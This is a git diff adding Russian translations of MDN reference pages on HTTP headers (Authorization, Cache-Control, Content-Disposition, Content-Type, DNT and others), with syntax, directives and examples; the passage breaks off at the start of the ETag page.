{{SpecName('Fetch','#http-access-control-max-age', 'Access-Control-Max-Age')}}{{Spec2("Fetch")}}Начальное определение.
+ +

Совместимость в браузерах

+ + + +

{{Compat("http.headers.Access-Control-Max-Age")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/authorization/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/authorization/index.html" new file mode 100644 index 0000000000..02679e19f1 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/authorization/index.html" @@ -0,0 +1,91 @@ +--- +title: Authorization +slug: Web/HTTP/Заголовки/Authorization +tags: + - HTTP + - HTTP Заголовок + - Заголовок + - заголовок запроса +translation_of: Web/HTTP/Headers/Authorization +--- +
{{HTTPSidebar}}
+ +

Заголовок HTTP запроса Authorization включает в себя данные пользователя для проверки подлинности пользовательского агента с сервером обычно после того, как сервер ответил со статусом {{HTTPStatus("401")}} Unauthorized и заголовком {{HTTPHeader("WWW-Authenticate")}}.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Request header")}}
{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}Нет
+ +

Синтаксис

+ +
Authorization: <тип> <данные пользователя>
+ +

Директивы

+ +
+
<тип>
+
Тип авторизации. Общий тип «Базовая». Остальные типы: + +
+
<данные пользователя>
+
Если используется схема авторизации «Базовая», данные пользователя формируются следующим образом: +
    +
  • Логин и пароль, разделенные двоеточием (aladdin:opensesame).
    • +
  • Результирующая строка, закодированная в base64 (YWxhZGRpbjpvcGVuc2VzYW1l).
    • +
+ +
+

Примечание: Кодировка Base64 не означает шифрование или хэширование! Этот метод так же небезопасен, как и отправка учетных данных в открытом виде (base64 является обратимой кодировкой). Отдавайте предпочтение использованию HTTPS в сочетании с Базовой Авторизацией.

+
+
+
+ +

Примеры

+ +
Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
+
+ +

См. также HTTP авторизацию для примеров конфигураций веб-серверов Apache или nginx с защитой вашего сайта паролем с Базовой HTTP авторизацией.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7235", "Authorization", "4.2")}}HTTP/1.1: Authentication
{{RFC("7617")}}The 'Basic' HTTP Authentication Scheme
+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/cache-control/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/cache-control/index.html" new file mode 100644 index 0000000000..4dd0c2de68 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/cache-control/index.html" @@ -0,0 +1,173 @@ +--- +title: Cache-Control +slug: Web/HTTP/Заголовки/Cache-Control +tags: + - Кэширование +translation_of: Web/HTTP/Headers/Cache-Control +--- +
{{HTTPSidebar}}
+ +

Общий заголовок Cache-Control используется для задания инструкций кэширования как для запросов, так и для ответов. Инструкции кэширования однонаправленные: заданная инструкция в запросе не подразумевает, что такая же инструкция будет указана в ответе

+ + + + + + + + + + + + + + + + +
Header type{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}нет
{{Glossary("Simple response header", "CORS-safelisted response-header")}}да
+ +

Синтаксис

+ +

Инструкции не чувствительны к регистру и имеют необязательный аргумент, который может быть указан как в кавычках, так и без них. Несколько инструкций разделяются запятыми.

+ +

Инструкции кэширования для запросов

+ +

Стандартные инструкции Cache-Control, которые могут задаваться клиентом для HTTP запроса.

+ +
Cache-Control: max-age=<seconds>
+Cache-Control: max-stale[=<seconds>]
+Cache-Control: min-fresh=<seconds>
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: only-if-cached
+
+ +

Инструкции кэширования для ответов

+ +

Стандартные инструкции Cache-Control, которые могут задаваться сервером для HTTP ответа.

+ +
Cache-Control: must-revalidate
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: public
+Cache-Control: private
+Cache-Control: proxy-revalidate
+Cache-Control: max-age=<seconds>
+Cache-Control: s-maxage=<seconds>
+
+ +

Расширенные инструкции Cache-Control

+ +

Расширенные инструкции Cache-Control не являются частью базовых стандартов, описывающих кэширование в HTTP. В таблице совместимости указаны браузеры, которые поддерживают расширенные инструкции.

+ +
Cache-Control: immutable
+Cache-Control: stale-while-revalidate=<seconds>
+Cache-Control: stale-if-error=<seconds>
+
+ +

Инструкции

+ +

Управление кэшированием

+ +
+
public
+
Указывает, что ответ может быть закэширован в любом кэше.
+
private
+
Указывает, что ответ предназначен для одного пользователя и не должен помещаться в разделяемый кэш. Частный кэш может хранить ресурс.
+
no-cache
+
Указывает на необходимость отправить запрос на сервер для валидации ресурса перед использованием закешированных данных.
+
only-if-cached
+
Указывает на необходимость использования только закэшированных данных. Запрос на сервер не должен посылаться.
+
+ +

Управление временем жизни

+ +
+
max-age=<seconds>
+
Задает максимальное время в течение которого ресурс будет считаться актуальным. В отличие от Expires, данная инструкция является относительной по отношению ко времени запроса.
+
s-maxage=<seconds>
+
Переопределяет max-age или заголовок Expires, но применяется только для разделяемых кэшей (например, прокси) и игнорируется частными кэшами.
+
max-stale[=<seconds>]
+
Указывает, что клиент хочет пролучить ответ, для которого было превышено время устаревания. Дополнительно может быть указано значение в секундах, указывающее, что ответ не должен быть просрочен более чем на указанное значение.
+
min-fresh=<seconds>
+
Указывает, что клиент хочет получить ответ, который будет актуален как минимум указанное количество секунд.
+
stale-while-revalidate=<seconds> {{experimental_inline}}
+
Указывает, что клиент хочет получить просроченный ответ, одновременно осуществляя фоновую проверку наличия свежих данных. Значение в секундах обозначает, какое время клиент желает получать просроченный ответ.
+
stale-if-error=<seconds> {{experimental_inline}}
+
...
+
+ +

Управление ревалидацией и перезагрузкой

+ +
+
must-revalidate
+
Кэш должен проверить статус устаревших ресурсов перед их использованием. Просроченные ресурсы не должны быть использованы.
+
proxy-revalidate
+
То же самое, что must-revalidate, но применимо только к разделяемым кэшам (например, прокси) и игнорируется частными кэшами.
+
immutable
+
Indicates that the response body will not change over time. The resource, if unexpired, is unchanged on the server and therefore the client should not send a conditional revalidation for it (e.g. If-None-Match or If-Modified-Since) to check for updates, even when the user explicitly refreshes the page. Clients that aren't aware of this extension must ignore them as per the HTTP specification. In Firefox, immutable is only honored on https:// transactions. For more information, see also this blog post.
+
+ +

Другие инструкции

+ +
+
no-store
+
Кэш не должен хранить никакую информацию о запросе и ответе
+
no-transform
+
Никакие преобразования не должны применяться к ресурсу. Заголовки Content-Encoding, Content-Range, Content-Type не должны изменяться прокси. Непрозрачный прокси может, например, конвертировать изображения из одного формата в другой для сохранения дискового пространства или уменьшения трафика. Инструкция no-transform запрещает это.
+
+ +

Примеры

+ +

Выключение кэширования

+ +

Для выключения кэширования возможно добавить следующий заголовок к ответу. Дополнительно см. заголовки Expires и Pragma.

+ +
Cache-Control: no-cache, no-store, must-revalidate
+
+ +

Кэширование статического контента

+ +

Для файлов, которые не будут изменяться обычно возможно применить агрессивное кэширование, отослав ответ с заголовком ниже. Например, такой ответ может быть послан для изображений, файлов CSS и JavaScript. Дополнительно см. заголовок Expires.

+ +
Cache-Control: public, max-age=31536000
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7234")}}Hypertext Transfer Protocol (HTTP/1.1): Caching
{{RFC("5861")}}HTTP Cache-Control Extensions for Stale Content
{{RFC("8246")}}HTTP Immutable Responses
+ +

Совместимость браузеров

+ + + +

{{Compat("http.headers.Cache-Control")}}

+ +

См. также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/connection/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/connection/index.html" new file mode 100644 index 0000000000..48a5a9dce5 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/connection/index.html" @@ -0,0 +1,53 @@ +--- +title: Connection +slug: Web/HTTP/Заголовки/Connection +tags: + - HTTP + - Веб + - Заголовки + - Справка +translation_of: Web/HTTP/Headers/Connection +--- +
{{HTTPSidebar}}
+ +

Заголовок Connection определяет, остается ли сетевое соединение активным после завершения текущей транзакции (запроса). Если в запросе отправлено значение keep-alive, то соединение остается и не завершается, позволяя выполнять последующие запросы на тот же сервер.

+ +
+

Заголовки, связанные с соединением, такие как {{HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, запрещены в HTTP/2. Chrome и Firefox просто игнорируют эти заголовки в HTTP/2 ответах, однако Safari, следуя требованиям HTTP/2, вообще не будет загружать какие-либо ответы, которые содержат данные заголовки.

+
+ +

За исключением стандартных заголовков «hop-by-hop» ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} и {{HTTPHeader("Proxy-Authenticate")}}), любые «hop-by-hop» заголовки, используемые в сообщении, должны быть перечислены в заголовке Connection так, чтобы первый прокси знал, как их использовать, и не передавал дальше. Также могут быть перечислены стандартные «hop-by-hop» заголовки (часто это относится к {{HTTPHeader("Keep-Alive")}}, но это необязательно).

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("General header", "Общий заголовок")}}
{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}да
+ +

Синтаксис

+ +
Connection: keep-alive
+Connection: close
+
+ +

Указания

+ +
+
close
+
Указывает, что клиент или сервер хотели бы закрыть соединение. Это значение по умолчанию для запросов HTTP/1.0.
+
любой список HTTP заголовков через запятую[Обычно только keep-alive]
+
Указывает, что клиент хотел бы сохранить соединение активным. Постоянное соединение используется по умолчанию для запросов HTTP/1.1. Список заголовков -- это имена заголовка, которые удаляются первым непрозрачным прокси-сервером или промежуточным кэшем: эти заголовки определяют соединение между источником и первым объектом, а не целевым узлом.
+
+ +

Совместимость браузеров

+ + + +

{{Compat("http.headers.Connection")}}

diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-disposition/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-disposition/index.html" new file mode 100644 index 0000000000..406cc0720c --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-disposition/index.html" @@ -0,0 +1,137 @@ +--- +title: Content-Disposition +slug: Web/HTTP/Заголовки/Content-Disposition +tags: + - HTTP + - HTTP-заголовок + - header +translation_of: Web/HTTP/Headers/Content-Disposition +--- +
{{HTTPSidebar}}
+ +
В обычном HTTP-ответе заголовок Content-Disposition является индикатором того, что ожидаемый контент ответа будет отображаться в браузере, как вэб-страница или часть вэб-страницы, или же как вложение, которое затем может быть скачано и сохранено локально.
+ +
 
+ +

В случае, если тело HTTP-запроса типа multipart/form-data, то общий заголовок Content-Disposition используется для каждой из составных частей multipart тела для указания дополнительных сведений по полю, к которому применён заголовок. Каждая часть отделена с помощью границы (boundary), определённой в заголовке {{HTTPHeader("Content-Type")}}. Content-Disposition, используемый непосредственно для всего тела HTTP-запроса, ни на что не влияет.

+ +

Заголовок Content-Disposition определён для более широкого контекста MIME-сообщений для e-mail, поэтому для HTTP-форм и {{HTTPMethod("POST")}}-запросов используются только несколько допустимых параметров. В контексте HTTP можно использовать только значение form-data, а также опциональные директивы name и filename.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Response header", "Заголовок ответа")}} (для тела ответа простого типа)
+ {{Glossary("General header", "Основной заголовок")}} (для каждой части составного тела)
{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}нет
+ +

Синтаксис

+ +

Как заголовок ответа с обычным телом

+ +

Первым параметром в контексте HTTP должен быть или inline (это значение по умолчанию, указывающее, что контент должен быть отображен внутри вэб-страницы или как вэб-страница) или attachment (указывает на скачиваемый контент; большинство браузеров отображают диалог "Сохранить как" с заранее заполненным именем файла из параметра filename, если он задан).

+ +
Content-Disposition: inline
+Content-Disposition: attachment
+Content-Disposition: attachment; filename="filename.jpg"
+ +

Как заголовок в составном теле

+ +

Первым параметром в контексте HTTP всегда является form-data; дополнительные параметры регистронезависимые и могут иметь аргументы, значения которых следуют после знака '=' и берутся в кавычки. Несколько параметров разделяются через точку с запятой (';').

+ +
Content-Disposition: form-data
+Content-Disposition: form-data; name="fieldName"
+Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"
+ +

Директивы

+ +
+
name
+
За параметром следует строка с именем HTML-поля на форме, к которому относится данная часть составного тела. При работе с несколькими файлами в том же самом поле (например, атрибуты {{htmlattrxref("multiple", "input")}} элемента {{HTMLElement("input","<input type=file>")}}), могут быть несколько частей с одинаковым именем.
+ Если name имеет значение '_charset_', указывающее, что данная часть не является HTML-полем, то она содержит кодировку по умолчанию для всех частей, в которых явно кодировка не указана.
+
filename
+
За параметром указана строка с оригинальным именем передаваемого файла. Это имя опционально и не может слепо использоваться приложением: информация о пути должна быть очищена и должно быть сделано преобразование к файловой системе сервера. Этот параметр предоставляет в основном справочную информацию. Когда используется в комбинации с Content-Disposition: attachment, это значение будет использовано как имя файла по умолчанию для диалога "Сохранить как".
+
filename*
+
+

Оба параметра "filename" и "filename*" отличаются только тем, что "filename*"  использует кодирование, определённое в RFC 5987. Когда присутствуют оба параметра "filename" и "filename*" в одном поле заголовке, то преимущество имеет "filename*" над "filename", но только в случае когда оба значения корректны.

+
+
+ +

Примеры

+ +

Ответ, вызывающий диалог "Сохранить как":

+ +
200 OK
+Content-Type: text/html; charset=utf-8
+Content-Disposition: attachment; filename="cool.html"
+Content-Length: 22
+
+<HTML>Save me!</HTML>
+
+ +

Простой HTML-файл будет сохранён как обычное сохранение с диалогом "Сохранить как" вместо отображения контента файла в браузере. Большинство браузеров предложат его сохранить под именем cool.html (это поведение по умолчанию).

+ +

Пример HTML-формы, переданной через POST с использованием формата multipart/form-data, который использует заголовок Content-Disposition:

+ +
POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7578")}}Returning Values from Forms: multipart/form-data
{{RFC("6266")}}Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)
{{RFC("2183")}}Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.headers.Content-Disposition")}}

+ +

Замечания по совместимости

+ + + +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-encoding/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-encoding/index.html" new file mode 100644 index 0000000000..0f54a68395 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-encoding/index.html" @@ -0,0 +1,107 @@ +--- +title: Content-Encoding +slug: Web/HTTP/Заголовки/Content-Encoding +tags: + - Content-Encoding + - HTTP + - Headers +translation_of: Web/HTTP/Headers/Content-Encoding +--- +
{{HTTPSidebar}}
+ +

Content-Encoding - это сущность заголовка, используемая для сжатия медиа-типа. При наличии ее значение определяет кодировку, примененную к сущности body. Это позволяет клиенту информацию как декодировать body, чтобы получить медиа-тип ссылающийся на  заголовок Content-Type 

+ +

Рекомендация - сжимать данные насколько это возможно и следовательно использовать это поле, но некоторые типы данных, такие как изображения в формате jpeg, уже сжаты. Иногда, использование дополнительного сжатия не уменьшает размер пакета и даже может сделать загрузку дольше.

+ + + + + + + + + + + + +
Header type{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}no
+ +

Синтаксис

+ +
Content-Encoding: gzip
+Content-Encoding: compress
+Content-Encoding: deflate
+Content-Encoding: identity
+Content-Encoding: br
+
+// Multiple, in the order in which they were applied
+Content-Encoding: gzip, identity
+Content-Encoding: deflate, gzip
+
+ +

Директивы

+ +
+
gzip
+
A format using the Lempel-Ziv coding (LZ77), with a 32-bit CRC. This is the original format of the UNIX gzip program. The HTTP/1.1 standard also recommends that the servers supporting this content-encoding should recognize x-gzip as an alias, for compatibility purposes.
+
compress
+
A format using the Lempel-Ziv-Welch (LZW) algorithm. The value name was taken from the UNIX compress program, which implemented this algorithm. Like the compress program, which has disappeared from most UNIX distributions, this content-encoding is not used by many browsers today, partly because of a patent issue (it expired in 2003).
+
deflate
+
Using the zlib structure (defined in RFC 1950) with the deflate compression algorithm (defined in RFC 1951).
+
identity
+
Indicates the identity function (i.e., no compression or modification). This token, except if explicitly specified, is always deemed acceptable.
+
br
+
A format using the Brotli algorithm.
+
+ +

Examples

+ +

Compressing with gzip

+ +

On the client side, you can advertise a list of compression schemes that will be sent along in an HTTP request. The {{HTTPHeader("Accept-Encoding")}} header is used for negotiating content encoding.

+ +
Accept-Encoding: gzip, deflate
+ +

The server responds with the scheme used, indicated by the Content-Encoding response header.

+ +
Content-Encoding: gzip
+ +

Note that the server is not obligated to use any compression method. Compression highly depends on server settings and used server modules.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7932", "Brotli Compressed Data Format")}}Brotli Compressed Data Format
{{RFC("7231", "Content-Encoding", "3.1.2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
{{RFC("2616", "Content-Encoding", "14.11")}}Content-Encoding
+ +

Browser compatibility

+ + + +

{{Compat("http.headers.Content-Encoding")}}

+ +

See also

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-language/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-language/index.html" new file mode 100644 index 0000000000..dfe3007fc9 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-language/index.html" @@ -0,0 +1,103 @@ +--- +title: Content-Language +slug: Web/HTTP/Заголовки/Content-Language +translation_of: Web/HTTP/Headers/Content-Language +--- +
{{HTTPSidebar}}
+ +

 

+ +

{{Glossary("HTTP-заголовок")}} Content-Language используется для описания языков контента доступных для аудитории, позволяя таким образом пользователю выбрать язык в соответствии со своими предпочтениями.

+ +

Например, если установлен заголовок "Content-Language: de-DE", это говорит о том, что документ предназначен для носителей немецкого языка (однако это не означает, что документ написан на немецком языке). Это может быть документ на английском языке в рамках языкового курса для носителей немецкого языка).

+ +

Если заголовок Content-Language не указан, по умолчанию предполагается, что содержимое предназначено для всех языковых аудиторий. Также допустимо использование в заголовке нескольких языковых тегов. Заголовок Content-Language может применяться не только к текстовым документам но и другим типам контента.

+ + + + + + + + + + + + + + + + + + + + +
Header type{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}no
{{Glossary("Simple response header", "CORS-safelisted response-header")}}yes
{{Glossary("Simple header", "CORS-safelisted request-header")}}yes
+ +

Синтаксис

+ +
Content-Language: de-DE
+Content-Language: en-US
+Content-Language: de-DE, en-CA
+
+ +

Директивы

+ +
+
language-tag
+
Несколько языковых тегов разделяются запятыми. Каждый языковой тег представляет собой последовательность из одного или нескольких подтегов без учета регистра, разделенных символом дефиса ("-", %x2D).
+
В большинстве случаев языковой тег состоит из подтега основного языка, который идентифицирует широкое семейство родственных языков (например, "en" = English), за которым дополнительно следует ряд подтегов, уточняющих или сужающих диапазон этого языка (например, "en-CA" = вариант диалекта английского языка, использующегося в Канаде).
+
+ +
+

Примечание: Языковые теги формально описаны в RFC 5646, который в свою очередь опирается на стандарт ISO 639 (точнее на ISO 639-1 code list) в части перечня используемых language codes.

+
+ +

Примеры

+ +

Указание использованного языка документа

+ +

Глобальный аттрибут lang используется на HTML элементах для указания языка всего HTML документа или его частей.

+ +
<html lang="de">
+ +

Не  используйте этот мета элемент как здесь для констатирования языка документа:

+ +
<!-- /!\ Это плохая практика -->
+<meta http-equiv="content-language" content="de">
+ +

Указание целевой аудитории для ресурса

+ +

Content-Language заголовок используется для определения целевой аудитории страницы и может указывать на более чем 1 язык.

+ +
Content-Language: de, en
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7231", "Content-Language", "3.1.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.headers.Content-Language")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-length/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-length/index.html" new file mode 100644 index 0000000000..0b2c087b65 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-length/index.html" @@ -0,0 +1,67 @@ +--- +title: Content-Length +slug: Web/HTTP/Заголовки/Content-Length +tags: + - HTTP + - Headers + - Reference + - Длина контента + - Заголовок + - запрос +translation_of: Web/HTTP/Headers/Content-Length +--- +
{{HTTPSidebar}}
+ +

Заголовок Content-Length указывает размер отправленного получателю тела объекта в байтах.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Entity header", "Заголовок сущности")}}
Можно не передаватьда
+ +

Синтаксис

+ +
Content-Length: <длина>
+
+ +

Директивы

+ +
+
<длина>
+
Байты.
+
+ +

Спецификация

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7230", "Content-Length", "3.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+ +

Браузерная совместимость

+ + + +

{{Compat("http.headers.Content-Length")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-type/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-type/index.html" new file mode 100644 index 0000000000..a6900ebab3 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-type/index.html" @@ -0,0 +1,111 @@ +--- +title: Content-Type +slug: Web/HTTP/Заголовки/Content-Type +translation_of: Web/HTTP/Headers/Content-Type +--- +
{{HTTPSidebar}}
+ +

Заголовок-сущность Content-Type используется для того, чтобы определить {{Glossary("MIME type","MIME тип")}} ресурса.

+ +

В ответах сервера заголовок Content-Type сообщает клиенту, какой будет тип передаваемого контента. В некоторых случаях браузеры пытаются сами определить MIME тип передаваемого контента, но их реакция может быть неадекватной. Чтобы предотвратить такие ситуации, Вы можете установить в заголовке {{HTTPHeader("X-Content-Type-Options")}} значение nosniff.

+ +

В запросах (таких, как {{HTTPMethod("POST")}} или {{HTTPMethod("PUT")}}), клиент сообщает серверу тип отправляемых данных.

+ + + + + + + + + + + + + + + + +
Тип заголовка{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}нет
{{Glossary("Simple response header", "CORS-safelisted response-header")}}да
+ +

Синтаксис

+ +
Content-Type: text/html; charset=utf-8
+Content-Type: multipart/form-data; boundary=something
+
+ +

Директивы

+ +
+
media-type
+
MIME тип ресурса или данных.
+
charset
+
Используемая кодировка.
+
boundary
+
Директива boundary обязательна для составных сущностей. Она содержит от 1 до 70 символов (не должна заканчиваться пробелом), которые без искажений пройдут через шлюзы email и служит для корректной инкапсуляции всех частей составной сущности.
+
+ +

Примеры

+ +

Content-Type в HTML формах

+ +

В {{HTTPMethod("POST")}} запросе, сгенерированном в результате отправки HTML формы, Content-Type запроса определяется в атрибуте enctype тега {{HTMLElement("form")}}.

+ +
<form action="/" method="post" enctype="multipart/form-data">
+  <input type="text" name="description" value="some text">
+  <input type="file" name="myFile">
+  <button type="submit">Submit</button>
+</form>
+
+ +

Запрос в этом случае может выглядеть так (менее интересные заголовки опущены):

+ +
POST /foo HTTP/1.1
+Content-Length: 68137
+Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
+
+-----------------------------974767299852498929531610575
+Content-Disposition: form-data; name="description"
+
+some text
+-----------------------------974767299852498929531610575
+Content-Disposition: form-data; name="myFile"; filename="foo.txt"
+Content-Type: text/plain
+
+(content of the uploaded file foo.txt)
+-----------------------------974767299852498929531610575--
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7233", "Content-Type in multipart", "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
{{RFC("7231", "Content-Type", "3.1.1.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.headers.Content-Type")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/date/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/date/index.html" new file mode 100644 index 0000000000..7dded6ea77 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/date/index.html" @@ -0,0 +1,86 @@ +--- +title: Date +slug: Web/HTTP/Заголовки/Date +tags: + - HTTP + - Reference + - Заголовок + - Основной заголовок +translation_of: Web/HTTP/Headers/Date +--- +
{{HTTPSidebar}}
+ +

Date основной HTTP заголовок содержащий дату и время, в которое сообщение было создано.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Основной")}}
{{Glossary("Запрещенное имя заголовка")}}да
+ +

Синтаксис

+ +
Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
+
+ +

Директивы

+ +
+
<day-name>
+
Одно из "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", или "Sun" (регистро-зависимое значение).
+
<day>
+
Номер дня с ведущим нулем, например "04" или "23".
+
<month>
+
Один из "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (регистро-зависимое значение).
+
<year>
+
Год из 4-х символов, например "1990" или "2016".
+
<hour>
+
Часы с ведущим нулем, например "09" или "23".
+
<minute>
+
Минуты с ведущим нулем, например "04" или "59".
+
<second>
+
Секунды с ведущим нулем, например "04" или "59".
+
GMT
+
+

Время по Гринвичу. HTTP даты всегда представлены в GMT, а не в локальном времени

+
+
+ +

Примеры

+ +
Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "Date", "7.1.1.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Поддержка браузерами

+ + + +

{{Compat("http.headers.Date")}}

+ +

Смотрите так же

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/dnt/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/dnt/index.html" new file mode 100644 index 0000000000..a4e7f56864 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/dnt/index.html" @@ -0,0 +1,83 @@ +--- +title: DNT +slug: Web/HTTP/Заголовки/DNT +translation_of: Web/HTTP/Headers/DNT +--- +

{{HTTPSidebar}}

+ +

The DNT (Do Not Track - Не отслеживать) заголовок указывает разрешает ли пользователь отслеживать себя. Он позволяет пользователю указать предпочитают они приватность персонифицированному контенту, подготавливаемому с использованием отслеживания.

+ + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Синтаксис

+ +
DNT: 0
+DNT: 1
+
+ +

Директивы

+ +
+
0
+
Пользователь разрешает отслеживание на целевом сайте.
+
1
+
Пользователь предпочитает не остлеживаться на целевом сайте.
+
+ +

Примеры

+ +

Чтение статуса Do Not Track из JavaScript

+ +

DNT предпочтение пользвователя может быть считано из JavaScript используя свойство {{domxref("Navigator.doNotTrack")}} :

+ +
navigator.doNotTrack; // "0" or "1"
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}{{Spec2("Tracking")}}Initial definition.
+ +

Совместимость браузеров

+ + + +

{{Compat("http.headers.DNT")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/etag/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/etag/index.html" new file mode 100644 index 0000000000..f64994ee97 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/etag/index.html" @@ -0,0 +1,98 @@ +--- +title: ETag +slug: Web/HTTP/Заголовки/ETag +translation_of: Web/HTTP/Headers/ETag +--- +
 {{HTTPSidebar}}
+ +

Заголовок HTTP ответа ETag является идентификатором специфической версии ресурса. Он позволяет более эффективно использовать кеш и сохраняет пропускную способность, позволяя серверу отправлять не весь ответ, если содержимое не изменилось. С другой стороны, если контент все-так поменялся, Etag помогает предотвратить одновременное обновление ресурса от перезаписи друг друга ("воздушная коллизия").

+ +

